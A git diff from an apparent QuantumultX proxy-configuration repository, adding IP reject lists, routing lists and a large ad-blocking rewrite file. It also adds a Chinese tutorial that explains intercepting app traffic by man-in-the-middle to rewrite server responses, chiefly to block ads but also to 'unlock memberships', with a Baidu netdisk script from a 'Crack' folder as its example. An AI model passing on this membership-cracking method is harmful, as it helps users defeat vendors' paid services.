reject +IP-CIDR, 103.249.254.113/32, reject +IP-CIDR, 104.195.62.12/32, reject +IP-CIDR, 104.197.140.120/32, reject +IP-CIDR, 104.198.198.188/32, reject +IP-CIDR, 106.187.95.251/32, reject +IP-CIDR, 106.75.65.90/32, reject +IP-CIDR, 106.75.65.92/32, reject +IP-CIDR, 107.21.113.76/32, reject +IP-CIDR, 108.171.248.234/32, reject +IP-CIDR, 111.175.220.160/29, reject +IP-CIDR, 111.206.22.0/24, reject +IP-CIDR, 111.30.135.167/32, reject +IP-CIDR, 111.63.135.0/24, reject +IP-CIDR, 111.73.45.147/32, reject +IP-CIDR, 112.124.115.215/32, reject +IP-CIDR, 112.74.95.46/32, reject +IP-CIDR, 113.207.57.24/32, reject +IP-CIDR, 113.57.230.88/32, reject +IP-CIDR, 114.55.123.44/32, reject +IP-CIDR, 114.95.102.77/32, reject +IP-CIDR, 115.29.141.121/32, reject +IP-CIDR, 115.29.247.48/32, reject +IP-CIDR, 116.206.22.7/32, reject +IP-CIDR, 116.55.227.242/32, reject +IP-CIDR, 117.144.242.32/32, reject +IP-CIDR, 117.25.133.209/32, reject +IP-CIDR, 118.144.88.215/28, reject +IP-CIDR, 119.188.13.0/24, reject +IP-CIDR, 120.132.57.41/32, reject +IP-CIDR, 120.132.63.203/32, reject +IP-CIDR, 120.197.89.239/32, reject +IP-CIDR, 120.198.116.0/24, reject +IP-CIDR, 120.26.151.246/32, reject +IP-CIDR, 120.27.34.156/32, reject +IP-CIDR, 120.55.199.139/32, reject +IP-CIDR, 120.80.57.123/32, reject +IP-CIDR, 121.15.207.243/32, reject +IP-CIDR, 121.199.73.185/32, reject +IP-CIDR, 121.201.108.2/32, reject +IP-CIDR, 121.201.11.95/32, reject +IP-CIDR, 121.251.255.0/24, reject +IP-CIDR, 121.43.75.169/32, reject +IP-CIDR, 122.225.103.120/32, reject +IP-CIDR, 122.226.223.163/32, reject +IP-CIDR, 122.227.254.195/32, reject +IP-CIDR, 122.228.236.165/32, reject +IP-CIDR, 123.125.111.0/24, reject +IP-CIDR, 123.139.154.201/24, reject +IP-CIDR, 123.57.162.39/32, reject +IP-CIDR, 123.57.94.184/32, reject +IP-CIDR, 123.59.152.170/32, reject +IP-CIDR, 123.59.78.229/32, reject +IP-CIDR, 124.160.194.11/32, reject +IP-CIDR, 125.46.61.28/32, reject +IP-CIDR, 125.89.69.5/32, reject +IP-CIDR, 139.159.32.82/32, reject +IP-CIDR, 139.196.239.52/32, reject +IP-CIDR, 139.224.26.92/32, reject +IP-CIDR, 139.224.74.148/32, reject +IP-CIDR, 146.148.85.61/32, reject +IP-CIDR, 162.212.181.32/32, reject +IP-CIDR, 173.208.177.227/32, reject +IP-CIDR, 180.76.155.58/32, reject +IP-CIDR, 180.76.162.60/32, reject +IP-CIDR, 180.76.171.28/32, reject +IP-CIDR, 180.76.172.149/32, reject +IP-CIDR, 180.76.181.213/32, reject +IP-CIDR, 182.92.81.104/32, reject +IP-CIDR, 183.131.79.130/32, reject +IP-CIDR, 183.131.79.30/32, reject +IP-CIDR, 183.59.53.187/29, reject +IP-CIDR, 183.6.188.226/29, reject +IP-CIDR, 198.40.52.11/32, reject +IP-CIDR, 202.104.1.27/32, reject +IP-CIDR, 202.105.165.202/32, reject +IP-CIDR, 205.209.138.102/32, reject +IP-CIDR, 211.103.159.32/32, reject +IP-CIDR, 211.137.132.89/32, reject +IP-CIDR, 211.139.178.49/32, reject +IP-CIDR, 211.149.225.23/32, reject +IP-CIDR, 211.167.105.131/32, reject +IP-CIDR, 211.98.71.195/29, reject +IP-CIDR, 218.25.246.118/32, reject +IP-CIDR, 219.234.83.60/32, reject +IP-CIDR, 221.179.140.0/24, reject +IP-CIDR, 221.179.183.0/24, reject +IP-CIDR, 221.179.191.0/24, reject +IP-CIDR, 221.179.46.190/25, reject +IP-CIDR, 221.204.213.222/32, reject +IP-CIDR, 221.228.214.101/32, reject +IP-CIDR, 222.187.226.96/32, reject +IP-CIDR, 223.6.255.99/32, reject +IP-CIDR, 23.235.156.167/32, reject +IP-CIDR, 23.42.186.24/32, reject +IP-CIDR, 23.66.147.48/32, reject +IP-CIDR, 27.255.67.120/32, reject +IP-CIDR, 42.51.146.207/32, reject +IP-CIDR, 45.34.240.72/32, reject +IP-CIDR, 46.165.197.153/32, reject +IP-CIDR, 46.165.197.231/32, reject +IP-CIDR, 47.90.50.177/32, reject +IP-CIDR, 47.93.103.196/32, reject +IP-CIDR, 47.94.89.32/32, reject +IP-CIDR, 47.96.162.122/32, reject +IP-CIDR, 58.215.179.159/32, reject +IP-CIDR, 58.221.28.166/32, reject +IP-CIDR, 60.19.29.21/28, reject +IP-CIDR, 60.190.139.164/32, reject +IP-CIDR, 60.191.124.196/32, reject +IP-CIDR, 60.210.17.12/24, reject +IP-CIDR, 61.129.70.132/32, reject +IP-CIDR, 61.132.216.232/32, reject +IP-CIDR, 61.132.221.146/32, reject +IP-CIDR, 61.132.255.212/32, reject +IP-CIDR, 61.132.255.222/25, reject +IP-CIDR, 61.147.184.18/32, reject +IP-CIDR, 61.152.223.15/32, reject +IP-CIDR, 61.174.50.167/25, reject +IP-CIDR, 61.191.12.74/32, reject +IP-CIDR, 61.191.206.4/32, reject +IP-CIDR, 67.229.224.28/32, reject +IP-CIDR, 69.28.57.245/32, reject +IP-CIDR, 74.117.182.77/32, reject +IP-CIDR, 78.140.131.214/32, reject +IP-CIDR, 39.107.15.115/32, reject +IP-CIDR, 47.89.59.182/32, reject +IP-CIDR, 103.49.209.27/32, reject +IP-CIDR, 123.56.152.96/32, reject +IP-CIDR, 61.160.200.223/32, reject +IP-CIDR, 61.160.200.242/32, reject +IP-CIDR, 61.160.200.252/32, reject +IP-CIDR, 61.174.50.214/32, reject +IP-CIDR, 111.175.220.163/32, reject +IP-CIDR, 111.175.220.164/32, reject +IP-CIDR, 124.232.160.178/32, reject +IP-CIDR, 175.6.223.15/32, reject +IP-CIDR, 183.59.53.237/32, reject +IP-CIDR, 218.93.127.37/32, reject +IP-CIDR, 221.228.17.152/32, reject +IP-CIDR, 221.231.6.79/32, reject +IP-CIDR, 222.186.61.91/32, reject +IP-CIDR, 222.186.61.95/32, reject +IP-CIDR, 222.186.61.96/32, reject +IP-CIDR, 222.186.61.97/32, reject +IP-CIDR, 106.75.231.48/32, reject +IP-CIDR, 119.4.249.166/32, reject +IP-CIDR, 220.196.52.141/32, reject +IP-CIDR, 221.6.4.148/32, reject +IP-CIDR, 114.247.28.96/32, reject +IP-CIDR, 221.179.131.72/32, reject +IP-CIDR, 221.179.140.145/32, reject +IP-CIDR, 10.72.25.0/24, reject +IP-CIDR, 115.182.16.79/32, reject +IP-CIDR, 118.144.88.126/32, reject +IP-CIDR, 118.144.88.215/32, reject +IP-CIDR, 118.144.88.216/32, reject +IP-CIDR, 120.76.189.132/32, reject +IP-CIDR, 124.14.21.147/32, reject +IP-CIDR, 124.14.21.151/32, reject +IP-CIDR, 180.166.52.24/32, reject +IP-CIDR, 211.161.101.106/32, reject +IP-CIDR, 220.115.251.25/32, reject +IP-CIDR, 222.73.156.235/32, reject +IP-CIDR, 203.107.1.1/24, reject + diff --git a/QuantumultX/filter/soul.list b/QuantumultX/filter/soul.list new file mode 100644 index 00000000..d98aae33 --- /dev/null +++ b/QuantumultX/filter/soul.list @@ -0,0 +1,42 @@ +#!name=Soul分流 +#!desc=可能需要好几天才能成功更改IP +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/NaiSi_01.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/QuantumultX/filter/soul.list +#!tg-group:https://t.me/lanjieguanggao +#!update:2024-05-09 08:30:00 +############################################# + +# User-Agent: Soul_New/5.0.0 (iPhone; iOS 17.1; Scale/3.00; CFNetwork; iPhone15,2) SoulBegin-iOS-5.0.0-WIFI-SoulEnd +# 用ua匹配规则生效的额外条件是域名/IP可以MITM并且被MITM(需要在host中添加) +;user-agent, Soul, Soul + +;host-keyword, soul, Soul + +ip-cidr, 8.210.3.170/32, Soul +ip-cidr, 43.231.145.10/32, Soul +ip-cidr, 47.75.72.47/32, Soul +ip-cidr, 47.96.7.91/32, Soul +ip-cidr, 47.96.11.46/32, Soul +ip-cidr, 47.96.20.45/32, Soul +ip-cidr, 47.98.54.106/32, Soul +ip-cidr, 47.98.137.249/32, Soul +ip-cidr, 47.110.187.87/32, Soul +ip-cidr, 114.215.255.94/32, Soul +ip-cidr, 116.62.47.28/32, Soul +ip-cidr, 116.62.97.84/32, Soul +ip-cidr, 116.62.108.43/32, Soul +ip-cidr, 116.62.247.96/32, Soul +ip-cidr, 118.31.7.235/32, Soul +ip-cidr, 118.31.112.221/32, Soul +ip-cidr, 120.55.55.115/32, Soul +ip-cidr, 120.55.62.124/32, Soul +ip-cidr, 120.26.40.187/32, Soul +ip-cidr, 121.40.189.58/32, Soul +ip-cidr, 121.43.161.107/32, Soul +ip-cidr, 121.196.203.183/32, Soul + +ip6-cidr, 2400:3200:1500::70/32, Soul +ip6-cidr, 2400:3200:1500::169/32, Soul +ip6-cidr, 2400:3200:1500::1fb/32, Soul diff --git a/QuantumultX/filter/talkatone.list b/QuantumultX/filter/talkatone.list new file mode 100644 index 00000000..776bb6cb --- /dev/null +++ b/QuantumultX/filter/talkatone.list @@ -0,0 +1,16 @@ +#!name=Talkatone分流 +#!desc=对Talkatone相关服务进行分流,建议选择美区 +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/NaiSi_01.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/QuantumultX/filter/talkatone.list +#!tg-group:https://t.me/lanjieguanggao +#!date:2024-02.11 08:00:00 +############################################# + +host-suffix, tktn.be, Talkatone +host, mfx.mobilefuse.co, Talkatone +IP-CIDR, 50.117.27.0/24, Talkatone +IP-CIDR, 69.46.75.0/24, Talkatone +IP-CIDR, 205.164.56.29/24, Talkatone +IP-CIDR, 63.251.124.0/24, Talkatone diff --git a/QuantumultX/rewrite/00-How-To-Use-Rewrite.md b/QuantumultX/rewrite/00-How-To-Use-Rewrite.md new file mode 100644 index 00000000..c8db3d4b --- /dev/null +++ b/QuantumultX/rewrite/00-How-To-Use-Rewrite.md @@ -0,0 +1,101 @@ +# 怎么添加和使用重写:How to add and use rewrite + +> 📣 说明:这部分文档只讨论怎么添加和使用重写,以及主要有几种方式添加重写 + +## 1️⃣ 什么是重写? +> **rewrite**:又名“修订,修改”,从编程 [eg:Java] 的角度来说,重写的意思是:重写是子类对父类的允许访问的方法的实现过程进行重新编写, 返回值和形参都不能改变。即`外壳保持不变,核心内容重写!` +> 简单来说就是对我们`发出的请求`和`接收到的数据`在不修改数据结构的情况下,修改其具体数据以达到我们的目的。 +> +> ➡️ 举个栗子: +> +> 假如我们收到一组数据: +>> ```json +>> {"basic":{"token":123},"info":[{"ad":"example.jpg"}],"result":0} +>>``` +> 我们可以修改为: +>> ```json +>> {"basic":{"token":123},"info":[],"result":1} +>>``` +> 可以看到我们把 **info** 中的内容删除了,同时修改了 **result** 的值,但是 **info** 的数据类型没有变(还是List),整体的数据结构也没有变,只是对具体的数据进行了修改。 +> +> ❶ 为什么不能修改数据结构?原因是数据都是从服务器返回到APP或者APP发送到服务器的,两者数据的封装有约定的规则,如果一方修改了数据结构,那另一方就无法解析导致报错。就比如电视剧里接头的双方都有对应的暗号,任何一方说错都会对不上号。 +> +> ❷ 数据的修改主要是`修改数值`和`删除部分数据`,比如上方的数据中 `result = 0` 表示“不是会员”,那我们修改成 1 成为会员;info 里存放的是广告数据,那我们把他删除,app就不会则展示广告。 +> 为什么不能新增字段数据呢?同 ❶ 中所说,双方是有约定的,多出的数据对方是不认识的。 +> 例如上方的数据我们增加一个字段数据成 `{"basic":{"token":123},"info":[],"result":1, "data":9}` ,`"data":9` 对方是不认的。 + + +## 2️⃣ 重写有什么作用? +> 同 1️⃣ 中所说,既然可以修改数据,那部分软件/网站的会员以及广告就有了解锁的方法。所以,重写的作用主要是:解锁软件会员以及去除烦人的广告,这是最常用的。㊗️ 注:这只是其中的部分功能。 +> +> ❶ 为什么是部分软件和网站?因为修改数据需要一个必要的条件:域名必须可以进行MITM(中间人攻击),只有可以MITM才能获取到app与服务器传输的数据进行修改。例如抖音系列的域名都是无法MITM的,你会发现无法抓包。 + +## 3️⃣ 怎么添加重写?有哪些方式? +> 打开quanX的设置页面或者配置文件你能看到重写主要有两个地方可以配置: `[rewrite_remote]` 以及 `[rewrite_local]`。 + +> ❶ 他们的区别是什么? +>> ⒈ 远程复写`[rewrite_remote]`:配置都是别人写好的,包含主机名 hostname 以及复写 rewrite 规则,拿来即用;本地复写`[rewrite_local]`:只有复写 rewrite 规则,hostname 需要自行在 `[hostname]` 模块再添加,相当于把`[rewrite_remote]`文件中的配置复制出来自行配置。 +>> +>> ⒉ 对于同一条规则,`[rewrite_local]`优先于`[rewrite_remote]`生效,意思就是`[rewrite_remote]`的配置是多余的不会生效。 +>> +>> ⒊ 对于同一条规则,任选一种配置即可,推荐`[rewrite_remote]`。 + +> ⏩ 话不多说,下面以本库中备份的墨鱼脚本[某度网盘倍速](https://github.com/fmz200/wool_scripts/blob/main/QuantumultX/rewrite/Function/BaiduCloud.conf)为例,讲讲怎么一步一步在quanX中配置。 +> 先来看看脚本内容有什么: +> ``` +> # > 百度云 +> https:\/\/pan\.baidu\.com\/rest\/2\.0\/membership\/user url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/scripts/Crack/bdcloud.js +> +> hostname = pan.baidu.com +> ``` +> 配置中去掉注释有两行有效内容: +> ``` +> https:\/\/pan\.baidu\.com\/rest\/2\.0\/membership\/user url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/scripts/Crack/bdcloud.js +> hostname = pan.baidu.com +> ``` +> 第 2 行:hostname表示对哪一个域名进行MITM +> +> 第 1 行:包含四部分,分别表示:想要MITM的请求路径, url类型, 脚本-对响应-响应体的数据, 用于MITM的脚本路径 +> + +### ① 先说 `[rewrite_remote]` + +> 第一步:点按首页右下角的小风车,往下滑找到`重写`模块;选择`规则资源`【下图1】; +> +> 第二步:引用资源页面,点击右上角加👌号➕跳转到填写页面【下图2】; +> +> 第三步:填写`资源标签`和`资源路径`,标签可以随便写,但是路径必须填写正确,填好以后点击右上角对号✅保存【下图3】; +> +> 第四步:保存以后找到刚添加的重写,右滑选择更新图标🔄【下图4】。 +>> 若不提示任何错误就是更新完毕,若出现404表示资源不存在,等待作者更新;若提示资源无法访问、网络错误等可换个节点在尝试更新。 +>> 若不启用,取消勾选即可。 +> +> 第五步:配置完毕,自行测试可用性。 + +![img.png](../../pic/rewrite/img.png)![img_2.png](../../pic/rewrite/img_2.png)![img_3.png](../../pic/rewrite/img_3.png)![img_4.png](../../pic/rewrite/img_4.png) + +### ② 再说 `[rewrite_local]` +> 上面的配置文件如果你不想直接引用,可以复制其中的内容自行添加,这就是`[rewrite_local]` + +> 第一步:点按首页右下角的小风车,往下滑找到`重写`模块;选择`重写规则`【下图1】; +> +> 第二步:重写规则页面,点击右上角加号进行填写,`类型`要保持一致,选择上方配置文件中第一行的`script-response-body`【下图2,3】; +> +> 第三步:`用以匹配的URL`和`脚本路径`都是从上方配置文件中复制出来的,填好以后点击右上角对号✅保存【下图4】; +> +> 第四步:保存以后找到重写模块下方的`MITM`模块,选择`主机名`【下图1】。 +> +> 第五步:主机名页面点击右上角加号,填写上方配置文件中的hostname,点击`好的`保存; +>> 引用的脚本回自动更新,若出现404表示资源不存在,等待作者更新;若提示资源无法访问、网络错误等可换个节点在尝试更新。 +>> +>> 你会发现上方配置文件中的所有内容都使用完毕。 +> +> 第六步:配置完毕,自行测试可用性。 + +![img_5.png](../../pic/rewrite/img_5.png)![img_8.png](../../pic/rewrite/img_8.png)![img_6.png](../../pic/rewrite/img_6.png)![img_7.png](../../pic/rewrite/img_7.png) +![img_9.png](../../pic/rewrite/img_9.png) + +### 配置完毕 + +## 4️⃣ 常见问题及解决方式 + diff --git a/QuantumultX/rewrite/chongxie.txt b/QuantumultX/rewrite/chongxie.txt new file mode 100644 index 00000000..66eef8c8 --- /dev/null +++ b/QuantumultX/rewrite/chongxie.txt @@ -0,0 +1,3852 @@ +#!name=广告拦截合集-重写 +#!desc=(支持约564款APP/小程序)针对部分APP和小程序广告进行拦截,某些APP要清除缓存或者重新安装拦截广告才会生效! +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/gif/naisi-01.gif +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/QuantumultX/rewrite/chongxie.txt +#!tg-group=https://t.me/lanjieguanggao +#!category=奶思的模块 +#!tag = 去广告, 奶思 +#!system = iOS, iPadOS +#!system_version = +#!loon_version = +#!date=2025-06-27 23:30:17 +#!remark=下方的所有规则都标注了对应的hostname,可能存在错误或者遗漏,欢迎反馈。对于无法/可选MITM的hostname都特别做了“如开启可自行添加主机名”提示,如果提示后面没有标注主机名则包含所有主机名,否则只包含提示语后面的主机名。 +############################################# +# "reject" 策略返回 HTTP 状态码 404,不附带任何额外内容 +# "reject-200" 策略返回 HTTP 状态码 200,不附带任何额外内容 +# "reject-img" 策略返回 HTTP 状态码 200,同时附带 1px gif +# "reject-dict" 策略返回 HTTP 状态码 200,同时附带一个空的 JSON 对象 +# "reject-array" 策略返回 HTTP 状态码 200,同时附带一个空的 JSON 数组 +############################################# +# 常见问题: +# 1️⃣:我知道规则,不知道主机名怎么办? +# ✅:几乎所有的主机名都是从规则中提取出来的,先有的规则再有的主机名 +# 举个栗子:12306的一条规则URL👉🏻^https?:\/\/ad\.12306\.cn\/ad\/ser\/getAdList +# 只需要去掉反斜杠:^https?://ad.12306.cn/ad/ser/getAdList +# 不用再说了吧,ad.12306.cn就是想要的主机名 +# 2️⃣:有些常用的软件为什么没有去广告配置? +# ✅:如果要利用重写去广告,就需要对请求或响应信息进行解密(MITM),现在一些软件已经禁止了MITM,所以就无法去广告。 +############################################# + + +# >>>>>>>>>>>>>>> ✅ # ✅ <<<<<<<<<<<<<< +# > 闲鱼 匹配请求头需要在同一个URL之前匹配到 +# 拦截广告下发 +^http:\/\/amdc\.m\.taobao\.com\/amdc\/mobileDispatch %E9%97%B2%E9%B1%BC* url-and-header reject + + +# >>>>>>>>>>>>>>> ✅ 0 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 1 ✅ <<<<<<<<<<<<<< +# > 12123 +# hostname = gab.122.gov.cn +#^https?:\/\/gab\.122\.gov\.cn\/eapp\/m\/sysquery url reject +^https?:\/\/gab\.122\.gov\.cn\/eapp\/m\/sysquery\/adver$ url reject + +# > 12306 +# hostname = ad.12306.cn +^https?:\/\/ad\.12306\.cn\/ad\/ser\/getAdList url script-analyze-echo-response https://raw.githubusercontent.com/kokoryh/Script/master/js/12306.js + + + +# >>>>>>>>>>>>>>> ✅ 2 ✅ <<<<<<<<<<<<<< +# > 21经济网 +# hostname = api.21jingji.com +^https?:\/\/api\.21jingji\.com\/ad\/ url reject + +# > 2345天气王 +# hostname = tianqi.2345.com +# 底下百家号广告 感谢【 🐈‍⬛👮】分享 +^http?:\/\/tianqi\.2345\.com\/api\/content\/getContentFeeds\.php url reject-dict + + + +# >>>>>>>>>>>>>>> ✅ 3 ✅ <<<<<<<<<<<<<< +# > 360儿童卫士 +# hostname = ad.life.360.cn +# 开屏广告 感谢【别怕我又不乱来】分享 +^https?:\/\/ad\.life\.360\.cn\/v2\/app\/advertisement\/config\?sdk_ver= url reject-dict + +# > 36kr +# hostname = gateway.36kr.com +^https?:\/\/gateway\.36kr\.com\/api\/adx\/ad\/show url reject + + + +# >>>>>>>>>>>>>>> ✅ 4 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 5 ✅ <<<<<<<<<<<<<< +# > 555影视 +# hostname = vip7.fzwdyy.cn, *.qyfxgd.cn, *.weilai555.com, *.ecoliving168.com +^https?:\/\/vip7\.fzwdyy\.cn:8083\/api\/(getAdvertInfo|getGOOGAdvert) url reject-200 +^https?:\/\/[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+){1,3}(:\d+)?\/api\/v\d\/advert url reject +^https?:\/\/[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+){1,3}(:\d+)?\/api\/v\d\/movie\/index_recommend url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/555Ad.js + +# > 51信用卡管家 +# hostname = api.u51.com +^https?:\/\/api\.u51\.com\/(generic-config-gateway|rs-resys)\/api\/v\d\/(creditpage-config|recommend) url reject-200 +^https?:\/\/api\.u51\.com\/liabilitygateway\/api\/v\d\/homepage\/liabilityline url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/51card.js +^https?:\/\/api\.u51\.com\/generic-config-gateway\/api\/v\d\/guanjia\/me-tab2\/config url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/51card.js + +# > 58 +# hostname = *.58cdn.com.cn, app.58.com +^https?:\/\/.+?\.58cdn\.com\.cn\/brandads\/ url reject-200 +^https?:\/\/app\.58\.com\/api\/home\/(advertising|appadv)\/ url reject +^https?:\/\/app\.58\.com\/api\/home\/invite\/popupAdv url reject-200 +^https?:\/\/app\.58\.com\/api\/log\/ url reject + +# > 500 +# hostname = evs.500.com +^https?:\/\/evs\.500\.com\/esinfo\/loading\/loading url reject + + +# >>>>>>>>>>>>>>> ✅ 6 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 7 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 8 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 9 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ A ✅ <<<<<<<<<<<<<< +# > AcFun +# hostname = aes.acfun.cn, api-new.app.acfun.cn +^https?:\/\/aes\.acfun\.cn\/s\?adzones url reject +^https?:\/\/api-new\.app\.acfun\.cn\/rest\/app\/flash\/screen\/ url reject + +# > AppSo +# hostname = sso.ifanr.com +^https?:\/\/sso\.ifanr\.com\/jiong\/IOS\/appso\/splash\/ url reject + +# > 阿里巴巴 +# hostname = acs.m.taobao.com, heic.alicdn.com, guide-acs.m.taobao.com, poplayer.template.alibaba.com +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.fliggy\.crm\.screen\.(allresource|predict) url reject-dict +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alibaba\.advertisementservice\.getadv url reject-dict +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alimama\.etao\.config\.query\/.+?etao_advertise url reject-dict +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alimusic\.common\.mobileservice\.startinit url reject-dict +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.etao\.noah\.query\/.+tao_splash url reject-dict +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.film\.mtopadvertiseapi\.queryadvertise url reject-dict +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.o2o\.ad\.gateway\.get url reject-dict +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.taobao\.idle\.home\.welcome url reject-dict +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.trip\.activity\.querytmsresources url reject-dict +^https:\/\/heic\.alicdn\.com\/imgextra\/i\d\/\d*\/?[\w!]+-\d-(octopus|tps-1125-1602|tps-1080-1920)\.(jp|pn)g_(1\d{3}|9\d{2})x(1\d{3}|9\d{2})q[59]0 url reject-dict +^https:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.cainiao\.adx\.flyad\.getad url reject-dict +^https:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.taobao\.(volvo\.secondfloor\.getconfig|wireless\.home\.newface\.awesome\.get) url reject-dict +^https:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.cainiao\.guoguo\.nbnetflow\.ads\.mshow url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cainiao/cainiao.js +^https:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.taobao\.(cloudvideo\.video\.query|wireless\.home\.splash\.awesome\.get) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/myBlockAds.js +^https:\/\/poplayer\.template\.alibaba\.com\/\w+\.json url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/myBlockAds.js + +# > 阿里云盘 +# hostname = api.alipan.com, member.alipan.com +^https:\/\/api\.alipan\.com\/adrive\/v1\/file\/getTopFolders url reject-dict +^https:\/\/api\.alipan\.com\/apps\/v2\/users\/home\/(news|widgets) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/adrive/adrive.js +^https:\/\/member\.alipan\.com\/v1\/users\/onboard_list url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/adrive/adrive.js +^https:\/\/member\.alipan\.com\/v2\/activity\/sign_in_luckyBottle url reject-dict + +# > 爱奇艺 +# hostname = -i.vip.iqiyi.com, *.iqiyi.com +# 播放页开通会员提示 +^https?:\/\/act\.vip\.iqiyi\.com\/interact\/api\/v2\/show\? url reject-dict +# 首页信息流广告 +^https?:\/\/[\d\.]+\/3f1\/cards\.iqiyi\.com\/(views_home\/3\.0\/qy_home|waterfall\/3\.0\/feed)\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +^https?:\/\/access\.if\.iqiyi\.com\/3f1\/cards\.iqiyi\.com\/(views_category\/3\.0\/category_home|views_home\/3\.0\/qy_home|waterfall\/3\.0\/feed)\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +^https?:\/\/cards\.iqiyi\.com\/views_category\/3\.0\/(category_home|categorylib_content|film_hybrid)\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +^https?:\/\/cards\.iqiyi\.com\/(views_home\/3\.0\/qy_home|waterfall\/3\.0\/feed)\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 播放详情页 +^https?:\/\/cards\.iqiyi\.com\/views_plt\/3\.0\/player_tabs_v2\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 搜索页列表 +^https?:\/\/cards\.iqiyi\.com\/views_search\/3\.0\/(hot_query_)?search\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 评论区 +^https?:\/\/comment-card\.iqiyi\.com\/views_comment\/3\.0\/long_video_comments\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 我的页面菜单 +^https?:\/\/iface2\.iqiyi\.com\/aggregate\/3\.0\/getMyMenus\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 首页左上角天气 +^https?:\/\/iface2\.iqiyi\.com\/control\/3\.0\/init_proxy\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 通用控制,各tab页二楼 +^https?:\/\/iface2\.iqiyi\.com\/fusion\/3\.0\/common_switch\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 播放页多余动效 +^https?:\/\/iface2\.iqiyi\.com\/ivos\/interact\/video\/data\? url reject-dict +# 播放页升级白金会员按钮 +^https?:\/\/iface2\.iqiyi\.com\/video\/3\.0\/v_interface_proxy\? url reject-dict +# 底部tab,顶部tab +^https?:\/\/iface2\.iqiyi\.com\/views\/3\.0\/(bottom_theme|home_top_menu)\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 青少年弹窗 +^https?:\/\/iface2\.iqiyi\.com\/views_pop\/3\.0\/pop_control\? url reject-dict +# 搜索框填充词 +^https?:\/\/search\.video\.iqiyi\.com\/q\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 开屏广告,播放广告 +^https?:\/\/(kjp|t7z)\.cupid\.iqiyi\.com\/mixer\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js + +# > 爱企查 +# hostname = b2baifanfan.baidu.com +^https?:\/\/b2baifanfan\.baidu\.com\/crm\/web\/b2b\/im\/common\/getConfigByDeviceNum url reject-200 + +# > 爱回收 +# hostname = gw.aihuishou.com +^https?:\/\/gw\.aihuishou\.com\/app-portal\/home\/getadvertisement url reject + +# > 爱思助手 +# hostname = list-app-m.i4.cn +^https?:\/\/list-app-m\.i4\.cn\/(adclickcb|getHotSearchList|getopfstadinfo)\.xhtml url reject + +# > 爱美剧 +# hostname = api.bjxkhc.com +^https?:\/\/api\.bjxkhc\.com\/index\.php\/app\/ios\/ver/index_ios$ url reject +^https?:\/\/api\.bjxkhc\.com\/index\.php\/app\/ios\/pay/ok$ url reject-dict +^https?:\/\/api\.bjxkhc\.com\/index\.php\/app\/ios\/ads\/ url reject + +# > 爱阅书香 +# hostname = icc.one +^https?:\/\/icc\.one\/iFreeTime\/xid32uxaoecnfv2\/ url reject + +# > 爱桐乡 +# hostname = mapi.txcmapp.com +# 开屏广告 +^https?:\/\/mapi\.txcmapp\.com\/api\/open\/atx2\/ad\.php url reject-200 + +# > 安徽掌上10000 +# hostname = www.ahzs10000.com 